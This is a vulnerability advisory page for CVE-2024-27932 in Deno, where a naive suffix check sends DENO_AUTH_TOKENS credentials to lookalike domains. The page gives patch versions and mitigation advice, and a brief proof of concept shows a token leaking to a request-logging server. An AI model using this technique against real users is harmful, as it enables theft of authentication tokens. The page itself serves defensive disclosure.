CVE-2024-27932 is a medium-severity (CVSS 4.6) Improper Input Validation vulnerability in deno. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for deno — see the affected versions and patch details below.
Deno's improper suffix match testing for DENO_AUTH_TOKENS
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-27932.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
denoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.
Details
auth_tokens.rs uses a simple ends_with check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.
PoC
- Set up a server that logs requests. RequestBin will do. For example,
denovulnpoc.example.com. - Run
[email protected] deno run https://not-a-left-truncated.domain. For example,[email protected] deno run https://denovulnpoc.example.com - Observe that the token intended only for the truncated domain is sent to the full domain
Impact
What kind of vulnerability is it? Who is impacted? Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno | ≥ 1.8.0&&< 1.40.4 | 1.40.4cargo update -p deno --precise 1.40.4 |
Affected Products
denodenoResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update deno to 1.40.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-27932 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2024-27932 in your dependencies?
Find it across crates.io, including transitive dependencies.